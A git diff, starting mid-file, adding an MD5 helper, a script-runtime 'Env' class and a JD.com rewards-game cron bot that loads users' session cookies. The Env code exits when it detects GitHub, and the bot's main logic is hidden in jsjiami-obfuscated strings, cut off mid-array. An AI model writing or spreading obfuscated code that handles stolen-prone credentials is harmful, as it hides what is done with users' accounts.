-1732584194, + m = 271733878; + for (e = 0; e < n.length; e += 16) { + i = l, + a = g, + d = v, + h = m, + g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), + l = t(l, i), + g = t(g, a), + v = t(v, d), + m = t(m, h) + } + return [l, g, v, m] + } + function a(n) { + var t, + r = "", + e = 32 * n.length; + for (t = 0; t < e; t += 8) { + r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255) + } + return r + } + function d(n) { + var t, + r = []; + for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1) { + r[t] = 0 + } + var e = 8 * n.length; + for (t = 0; t < e; t += 8) { + r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32 + } + return r + } + function h(n) { + return a(i(d(n), 8 * n.length)) + } + function l(n, t) { + var r, + e, + o = d(n), + u = [], + c = []; + for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1) { + u[r] = 909522486 ^ o[r], + c[r] = 1549556828 ^ o[r] + } + return e = i(u.concat(d(t)), 512 + 8 * t.length), + a(i(c.concat(e), 640)) + } + function g(n) { + var t, + r, + e = ""; + for (r = 0; r < n.length; r += 1) { + t = n.charCodeAt(r), + e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t) + } + return e + } + function v(n) { + return unescape(encodeURIComponent(n)) + } + function m(n) { + return h(v(n)) + } + function p(n) { + return g(m(n)) + } + function s(n, t) { + return l(v(n), v(t)) + } + function C(n, t) { + return g(s(n, t)) + } + function A(n, t, r) { + return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) + } + $.md5 = A +} +(this); +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/backUp/jd_joy_score.js b/backUp/jd_joy_score.js new file mode 100644 index 0000000..7d4b832 --- /dev/null +++ b/backUp/jd_joy_score.js @@ -0,0 +1,387 @@ +/* +京享值PK +cron 15 2,7,18 * * * jd_joy_score.js + +*/ + +const $ = new Env('京享值PK'); +!function (n) { "use strict"; function r(n, r) { var t = (65535 & n) + (65535 & r); return (n >> 16) + (r >> 16) + (t >> 16) << 16 | 65535 & t } function t(n, r) { return n << r | n >>> 32 - r } function u(n, u, e, o, c, f) { return r(t(r(r(u, n), r(o, f)), c), e) } function e(n, r, t, e, o, c, f) { return u(r & t | ~r & e, n, r, o, c, f) } function o(n, r, t, e, o, c, f) { return u(r & e | t & ~e, n, r, o, c, f) } function c(n, r, t, e, o, c, f) { return u(r ^ t ^ e, n, r, o, c, f) } function f(n, r, t, e, o, c, f) { return u(t ^ (r | ~e), n, r, o, c, f) } function i(n, t) { n[t >> 5] |= 128 << t % 32, n[14 + (t + 64 >>> 9 << 4)] = t; var u, i, a, h, g, l = 1732584193, d = -271733879, v = -1732584194, C = 271733878; for (u = 0; u < n.length; u += 16)i = l, a = d, h = v, g = C, d = f(d = f(d = f(d = f(d = c(d = c(d = c(d = c(d = o(d = o(d = o(d = o(d = e(d = e(d = e(d = e(d, v = e(v, C = e(C, l = e(l, d, v, C, n[u], 7, -680876936), d, v, n[u + 1], 12, -389564586), l, d, n[u + 2], 17, 606105819), C, l, n[u + 3], 22, -1044525330), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 4], 7, -176418897), d, v, n[u + 5], 12, 1200080426), l, d, n[u + 6], 17, -1473231341), C, l, n[u + 7], 22, -45705983), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 8], 7, 1770035416), d, v, n[u + 9], 12, -1958414417), l, d, n[u + 10], 17, -42063), C, l, n[u + 11], 22, -1990404162), v = e(v, C = e(C, l = e(l, d, v, C, n[u + 12], 7, 1804603682), d, v, n[u + 13], 12, -40341101), l, d, n[u + 14], 17, -1502002290), C, l, n[u + 15], 22, 1236535329), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 1], 5, -165796510), d, v, n[u + 6], 9, -1069501632), l, d, n[u + 11], 14, 643717713), C, l, n[u], 20, -373897302), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 5], 5, -701558691), d, v, n[u + 10], 9, 38016083), l, d, n[u + 15], 14, -660478335), C, l, n[u + 4], 20, -405537848), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 9], 5, 568446438), d, v, n[u + 14], 9, -1019803690), l, d, n[u + 3], 14, -187363961), C, l, n[u + 8], 20, 1163531501), v = o(v, C = o(C, l = o(l, d, v, C, n[u + 13], 5, -1444681467), d, v, n[u + 2], 9, -51403784), l, d, n[u + 7], 14, 1735328473), C, l, n[u + 12], 20, -1926607734), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 5], 4, -378558), d, v, n[u + 8], 11, -2022574463), l, d, n[u + 11], 16, 1839030562), C, l, n[u + 14], 23, -35309556), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 1], 4, -1530992060), d, v, n[u + 4], 11, 1272893353), l, d, n[u + 7], 16, -155497632), C, l, n[u + 10], 23, -1094730640), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 13], 4, 681279174), d, v, n[u], 11, -358537222), l, d, n[u + 3], 16, -722521979), C, l, n[u + 6], 23, 76029189), v = c(v, C = c(C, l = c(l, d, v, C, n[u + 9], 4, -640364487), d, v, n[u + 12], 11, -421815835), l, d, n[u + 15], 16, 530742520), C, l, n[u + 2], 23, -995338651), v = f(v, C = f(C, l = f(l, d, v, C, n[u], 6, -198630844), d, v, n[u + 7], 10, 1126891415), l, d, n[u + 14], 15, -1416354905), C, l, n[u + 5], 21, -57434055), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 12], 6, 1700485571), d, v, n[u + 3], 10, -1894986606), l, d, n[u + 10], 15, -1051523), C, l, n[u + 1], 21, -2054922799), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 8], 6, 1873313359), d, v, n[u + 15], 10, -30611744), l, d, n[u + 6], 15, -1560198380), C, l, n[u + 13], 21, 1309151649), v = f(v, C = f(C, l = f(l, d, v, C, n[u + 4], 6, -145523070), d, v, n[u + 11], 10, -1120210379), l, d, n[u + 2], 15, 718787259), C, l, n[u + 9], 21, -343485551), l = r(l, i), d = r(d, a), v = r(v, h), C = r(C, g); return [l, d, v, C] } function a(n) { var r, t = "", u = 32 * n.length; for (r = 0; r < u; r += 8)t += String.fromCharCode(n[r >> 5] >>> r % 32 & 255); return t } function h(n) { var r, t = []; for (t[(n.length >> 2) - 1] = void 0, r = 0; r < t.length; r += 1)t[r] = 0; var u = 8 * n.length; for (r = 0; r < u; r += 8)t[r >> 5] |= (255 & n.charCodeAt(r / 8)) << r % 32; return t } function g(n) { return a(i(h(n), 8 * n.length)) } function l(n, r) { var t, u, e = h(n), o = [], c = []; for (o[15] = c[15] = void 0, e.length > 16 && (e = i(e, 8 * n.length)), t = 0; t < 16; t += 1)o[t] = 909522486 ^ e[t], c[t] = 1549556828 ^ e[t]; return u = i(o.concat(h(r)), 512 + 8 * r.length), a(i(c.concat(u), 640)) } function d(n) { var r, t, u = ""; for (t = 0; t < n.length; t += 1)r = n.charCodeAt(t), u += "0123456789abcdef".charAt(r >>> 4 & 15) + "0123456789abcdef".charAt(15 & r); return u } function v(n) { return unescape(encodeURIComponent(n)) } function C(n) { return g(v(n)) } function A(n) { return d(C(n)) } function m(n, r) { return l(v(n), v(r)) } function s(n, r) { return d(m(n, r)) } function b(n, r, t) { return r ? t ? m(r, n) : s(r, n) : t ? C(n) : A(n) } $.md5 = b }(); +$.toObj = (t, e = null) => { + try { + return JSON.parse(t) + } catch { + return e + } +} +$.toStr = (t, e = null) => { + try { + return JSON.stringify(t) + } catch { + return e + } +} + +const notify = $.isNode() ? require("./sendNotify") : ""; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const sck = $.isNode() ? "set-cookie" : "Set-Cookie"; +const APPID = "dafbe42d5bff9d82298e5230eb8c3f79"; +const md5Key = "34e1e81ae8122ca039ec5738d33b4eee"; +let cookiesArr = [], + cookie = "", + message; +let minPrize = 1; + +let countlaunch = 0; +let countreceive = 0; +let bcomplate = false; +//是否开箱开关。true 为自动开箱,注意PK开箱豆子有时效性。有需要再开了用。默认关闭; +let kaixiang=false; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => { }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +var _0xodV='jsjiami.com.v6',_0x5d80=[_0xodV,'wq3Cg8OYw53ClA==','w5UpwrjDlQ4=','KRLCgChd','worCiMOawo7DnMKkw4hgw7UvM8Osw4jCt8Ok','w6AdwqR/Cg==','wo3DgcOQTHsYJQ7Ckg==','wqZGw5xewoU=','RcO/UXnCngPClw==','wo3CmAvCum4=','wqLCoyc=','JBTCqjcB','Kw7CusKow5M=','5b2C5Yi85YiZ5pag776x','wpvCu2vDg0Q=','CcKuG8Oow7DClnZEVMKRZcO1JcKocg==','w6vCvjw=','6Laz5ouN5Yqf5pal5pm/6aqb776V6LyB6KCJ6KCd5YmDw57DoA==','d8K9w63DoWU=','wpHChkvDgkJxIw==','FsKeTA==','wovCr8K5wr8C','woHDqcON','MT0z','MsKlRULClw==','OCxDYcOa','PCU1wpoWOw==','woHDo8OESsOARw==','U8OgecKVQsOpw4NZfw==','wprDr8OEXg==','w70rwrA=','5Y6c5b6P5a6Q562FFA==','w4xbwrnCsSwyPQ==','C8K3wrPDpcKFaW3Csyh8wqzDtg==','QcOhRMKFYg==','wqZNw6A0dg==','6YKe6K665oie5Yua6L6s5Zqz57u45p6R77yE','d1wm','wqfDoETCuzbChws=','w63CpsOFw4tlw55WcVAnw5rDnjrDuBzDiHrDmAfDiMK8E8KqwoM=','wpwSw6zCojs6L8OVW8K+PcKILQ==','w7DDncOww6VF','wozDtsOaZMOQEg==','wrPCicOwwrLDpX4=','NyUA','EMKgG8Olw7I=','w6XClcOqwqE=','RMOyw5QV','dkAm','wpHDpMKQLsOj','w6IwwrZ7Bw==','QMO+Ug==','RixFDhk=','wrnCjMOdw4vCsU5aFA==','w5nDsk0uw60=','RH3DowrDqw==','w4YVwpgIw7k=','fR54','woDDhMKGwqTDhMOicsOh','w5QrwqU=','ICHCtMOPwok=','6YO66K605oiK5Yq56Z676Kac56+y5byN5o2o5paMcMOe77yl','wpbCscKf','wojDhzlxw4I=','w5wJwqIuw7E=','HA/Crzhl','w65lQsOofg==','wofDhcKpDsO7','TMO8w4c=','w7HDocOQw7x4w7pX','V8KzVH/CkgXClcOXw6R5eMOiJgckwrAAZ8KQKRZXNBM=','w5LCo8OENsOKR8KPP8KRw55WwrXDmQ==','w6bDqVvCqg/CgwA0','w5vCgXTDuUZ/KGzDpQ==','aQ/CoD5/XA==','wqjDmBwUw6s=','RQ3Cj8O1w60=','YT5Obw==','HcK9wp3DqcK/','w5Ybwr8d','wpfCrcKf','CTd7UsOe','KT0gwpgr','wr7CpxLClWtnAXY=','w4tjPw==','wr3CiMO7w57Cmw==','woFKw6BYwpI=','wqzDqlc=','dSRJCQg=','w5J6wpjCoQk=','w58XwrEZw4A=','ciJp','R8O2w5QgwprDjMO7','IUTDqTzDtxLDu1TDng==','w6jCvynCl3Yv','w4DCmcKB','VATCssOVag==','wppTw7lBwrA=','wpDDgi9Ww64=','GQPCj8O6wog=','w4gvwpDDlTZNFsKm','w7rDpXk=','worCkcO9w4PCiw==','w4IRwpkZw7gGw6JT','wpbDvcKJKcO4QsKABcKNw5w=','bTLCjw==','AibCpDB9','woPDs0LCghY=','biZcIAsYR3k=','QRrnu67mnoflhLbkuqXkvb3mgro=','EcKkLsOow4M=','woTDoMK1MMOd','GT/Ct8K/w4E=','wpzDtMO1YmI=','Fycv','dw3CmcOKw7M=','BDLClBMz','F0DCpTvDtzptw6bClcKZDsK5w4UOw6vDvQ==','wqPDnMKTR8K7an8=','CsO9XlnCtiXCn8OI','wrPCjsKk','w7ARwrxFFQ==','wpfDisKg','w5NjF05k','CQPCpMO3wpw=','NwMgwqQ9','w7zCosK2','JsK6woHDmcKF','SMKMw6LDiFU=','MC5JV8Oz','KC/Cpw==','wrrCow/CknI=','KyvCp8Kd','wodAw4MYWQ==','w7gXwpgNw4M=','w7fDqWomw6ZeNjctDsK6w5APJQ==','a8OIZsK6aQ==','w58hwrY=','J0jCusKJIw==','w7UlwqNu','w7TCugl8wpY=','wrvCocO8w6DCiw==','w73Ct8K4w7zClw==','fQBnwp7DpA==','wp7ChcORwpA8','KT0HwpwA','woDDgMKnwrU=','5Lqa5L+t57iC5pys77+3','CcKcM8Orw6Q=','w58swrJAIw==','wq1hw4AzfA==','Qhd5cwI=','YxdOVQk=','JxjClMOnwoEbwoxTwojCrsK+TsKUCsOKb1ERPHcvLMKow6cUaXpvZjjDv8OPwoMIDcO3w5hpV2QnZMOpwo3CocKqdW8ewpDCmcOxw4fCuGzCoCrClMOkw6UMwopDw64ze8OORk7DmMOtwqPDtSTDtMK9fHDDmsKMw7dMw77CjBTDvXlGw6vDsMO1wqcyw6PDolnDvxnCtE3DvMKmwpt3wqk0wpIRQsOMIVdV','wo3CiwTCoW4=','wprCiGs=','VAZpVBk=','w4JfTMOMfg==','w5TDm8KbXMKQ','w6xtPn5X','fz1nawsOWWRuFMO+MMORwoICwr4=','F8KLQkLChA==','wp3Dg8O5Q8O+','BcKjwqrDhcKa','w5HDm8KZZ8Kj','wo3CugbCpXc=','w6U0wr42w6g=','w5vDrUgVw6g=','wqTCh1vDt20=','wqvCiMKPwqoX','w7LCvMKhw77Cjg==','ACs3RcOV','DsK3wqY=','KT0bwooY','wonDoQdAw70=','FToywo0I','wp3DrsKPKg==','5b2S5YiQwpzDvMOAJMKl77+8','5b2p5Yiswq3DjVbDqRbDk8OU77yl','5ou/55i75LuV5Lu8w5DDgOWIr+WBvcKx','5Lqc5YqkCGfmrK/mlJXltIblrbk=','6L2p6KC26KGg5YuU6YCL6K6Ew55s','55S55omGT8KZw6UBfg==','5Lm05aSX5Lu16KG75Yu2BgXln6blt4Dnl7nlr58=','5a+O566W5qC15rag57qa5pyW4oOP4oOn','5Yy36Laa6YC86KyN6K2q5rKF5aaa6LSgwr8=','6KC95Yii6YKe6K6Y5aaz6LWG77yV','6YGk6Kya5ous5Yms6Z2S6KaS562T5by95o2L5pWQw7zCs+++hA==','5Yys6Laa6KK05YiFeV/pg43or7Xmj4nmioE=','w5gewpgUw6oBw6tlDDDDkMK8PGY9w4VYAWs=','wrzCqSPClXFkCEBZw4I7NcKc','5o+q5Y6d6KG45YmUw7DCjuaMleaKog==','wpNMw4FfwpTDnMKdwr3CvsOYwr0=','wofDhQVXw698JMOewpE=','GzNqSsOSfsOaw7zCpMOVTsK6VSYRbQ==','wo3CiMOZworCsMKmw4dsw7M+','AiXCqcKVw4zCqWXClcKsw43Dpht2wp3CosO0wo9nK0RHPCjCn8Onw7rCvMKFInd9DcOEVcO1woHDksOpwrs6RsKWKsKQw6B0RcKuwodEHcKNw6skwo92XMO4WykUw5Z1wqXCqV5Zw6gVV8KGalEgwobCjH/Dg8OiwrfDlsONwr7Cj8O9w4kBwrLDtcK/VD1qR3c/I8KJCkzDhnjCvwPChV4AYAnCg8KvScO+','NSYgwpgBcnQdwqkBwpdAbmXDoMKKGMK8ccKuawtEHF0vScKvV8KowpoRw4nCncOLwojCrMOJTHTCrnhjw7QoRH8=','fUDCrwvDtg==','w5vCnnzDgltxcA==','w5vCnXbDgxQ=','w5JRwqk=','QCFNwoHDuw==','wq3CnjbCvF4=','wpjCvBXCsWA=','wqrCt8KW','w7XDm1Arw5o=','P0zCocKEIizChw==','5oqn6KOJ5Lqc5Luz5qKf5rah6aui6K+I','awjCkMOtag==','wpDDrF4=','wrXChMKtwrg6','wqLCtgXCino=','wq3ChHE=','w54Rwp8Tw6AWw6A=','FynCpsKfw4o=','A07Cmw==','w6gtwqw=','wqXDnMKxwrPDucO2c8Ow','w4jCosOcw6Qy','w5ohwrxnCw==','wq1Gw4ZPwoo=','6I+65Y6lwokX5Yme6KKO','w54fwqUbw78b','5p6v5pa85oyu5ae355Sw','woHDo8OMWcO4Wl8Jwpcmw4vDhcKZw7A=','wonCrsKRwpQ2','VgTCp8OSQ8OlHsOTw4pLwrvDo3nDsMOO','wqXCpzbCpls=','wojCgsKb','6Lyh6KKS5LuD5Yu66YO/6K2GZjU=','w57DvsOvw5l/','wqzDoFbCmxPCnwBqVcOjFwfDvmQ=','wqDDhsK6','BQnCkg0n','cihgIgwF','w4ZLwrjCnRY=','wq1Mw7oZY8K+','LkDCpBHDuQ==','wqXCiMOo','AsKLZV3Cjw==','WMOdw7QOwpI=','55a45ou6woHDucKjwovCpw==','JSciwqU6','w6XCj8Oqwr0=','wqNtw5hDwqI=','w7fCnMOU','jsjKViMaUmiO.zcbulopBm.v6yQprB=='];(function(_0xb2513c,_0x346821,_0x19a58d){var _0x20a381=function(_0x3bda6f,_0x37447f,_0x1c2f2,_0xea4784,_0x2227f7){_0x37447f=_0x37447f>>0x8,_0x2227f7='po';var 